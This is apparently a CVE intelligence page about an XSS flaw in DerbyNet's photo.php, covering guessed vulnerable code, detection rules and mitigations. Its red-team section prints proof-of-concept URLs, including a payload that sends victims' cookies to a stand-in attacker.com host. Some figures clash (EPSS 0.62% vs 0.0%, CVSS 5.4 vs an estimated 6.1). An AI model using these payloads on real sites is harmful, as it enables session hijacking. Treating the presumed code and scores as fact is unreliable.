☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-30921

CVE-2024-30921 Cross-Site Scripting in Derbynet
📅 PUBLISHED: 2024-04-18 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.62%
👁️
0.62% probability
15.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30921 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the photo.php component, allowing a remote attacker to inject arbitrary web scripts or HTML. Successful exploitation can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

DerbyNet is not distributed via NPM, PyPI, Go, or Ruby registries. It is a standalone PHP application typically deployed on Apache/Nginx. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

The CVSS vector is unknown due to insufficient data from the NVD. However, based on the vulnerability type (XSS), a reasonable estimate would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Changed (C)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but the impact on confidentiality and integrity is limited.

Deep Dive & Mechanics

The vulnerability exists in the photo.php component of DerbyNet. This script likely handles image uploads or display parameters without proper sanitization. An attacker can inject malicious JavaScript or HTML via a crafted request parameter (e.g., ?photo=<script>alert(1)</script>). When a victim visits the crafted URL, the injected script executes in their browser context.

Root Cause: Lack of input validation and output encoding in photo.php. The application fails to escape user-supplied data before rendering it in the HTTP response.

Attack Vector: Remote, unauthenticated attacker sends a crafted link to a victim. The victim must click the link or load the malicious URL.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (photo.php):

<?php
$photo = $_GET['photo'];
echo "<img src='$photo' />";
?>

Patched (hypothetical):

<?php
$photo = htmlspecialchars($_GET['photo'], ENT_QUOTES, 'UTF-8');
echo "<img src='$photo' />";
?>

The fix involves using htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC):

http://target/derbynet/photo.php?photo="><script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target/derbynet/photo.php?photo="><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

  1. Deploy DerbyNet v9.0 on a local Apache server.
  2. Access photo.php with the PoC URL.
  3. Observe the XSS alert or cookie exfiltration.

Blue Team

Detection Steps:

  1. Monitor web server logs for suspicious photo.php requests containing <script> or onerror patterns.
  2. Use WAF rules to block XSS payloads in query strings.
  3. Implement Content Security Policy (CSP) headers to mitigate script execution.

Log Analysis Command:

grep "photo.php" /var/log/apache2/access.log | grep -E "(<|>|script|onerror|alert)"

Indicators of Compromise (IOCs)

  • URL Pattern: */photo.php?photo=*<script>*
  • HTTP Request: GET request to /photo.php with encoded XSS payloads.
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
  • Log Entry: "GET /photo.php?photo=%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200

Detection Engineering

YARA Rule

rule CVE_2024_30921_XSS_Photo {
    meta:
        description = "Detects XSS attempts against DerbyNet photo.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30921"
    strings:
        $xss1 = /photo\.php\?photo=.*<script>/i
        $xss2 = /photo\.php\?photo=.*onerror/i
        $xss3 = /photo\.php\?photo=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: DerbyNet photo.php XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in photo.php requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'photo.php?photo='
        cs-uri-query|re: '(<script|onerror|alert)'
    condition: selection
falsepositives:
    - Legitimate use of script tags in photo names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30921 DerbyNet photo.php XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/photo.php"; http_uri; content:"photo="; http_uri; pcre:"/(<script|onerror|alert)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable photo.php if not required, or restrict access via .htaccess:
    <Files "photo.php">
        Require all denied
    </Files>
    
  2. Apply WAF rules to block XSS patterns in query strings.
  3. Implement CSP header in Apache configuration:
    Header always set Content-Security-Policy "default-src 'self'; script-src 'none';"
    

Long-Term Fix:

  • Upgrade to a patched version when available.
  • Manually patch photo.php by adding input sanitization:
    $photo = htmlspecialchars($_GET['photo'], ENT_QUOTES, 'UTF-8');
    

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter malicious requests:
    if ($args ~* "(<script|onerror|alert)") {
        return 403;
    }
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30921/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.